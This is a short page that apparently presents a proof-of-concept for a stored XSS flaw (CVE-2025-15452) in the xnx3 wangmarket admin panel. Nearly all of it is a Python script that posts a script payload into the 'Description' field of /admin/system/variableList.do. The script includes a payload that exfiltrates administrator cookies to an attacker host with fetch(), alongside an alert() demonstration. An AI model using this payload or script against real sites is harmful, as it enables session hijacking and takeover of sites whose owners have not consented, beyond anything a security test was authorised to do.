CVE-2025-15452 | xnx3 wangmarket后台变量搜索存储型XSS漏洞

# CVE-2025-15452 PoC - Stored XSS in xnx3 wangmarket variableList.do # Target: /admin/system/variableList.do # Parameter: Description import requests import sys from urllib.parse import quote target_url = "http://target.com/admin/system/variableList.do" # XSS payload - steals admin cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Alternative payload - alert demonstration xss_payload_demo = "<script>alert(document.domain)</script>" data = { "Description": xss_payload_demo, "variableName": "test", "submit": "save" } try: print(f"[*] Sending XSS payload to {target_url}") print(f"[*] Payload: {xss_payload_demo}") # If authentication is required, add session cookies # cookies = {"JSESSIONID": "your-session-id"} # response = requests.post(target_url, data=data, cookies=cookies) response = requests.post(target_url, data=data, timeout=10) print(f"[+] Request sent. Status: {response.status_code}") print("[*] Payload stored. When admin visits variableList.do, XSS will execute.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")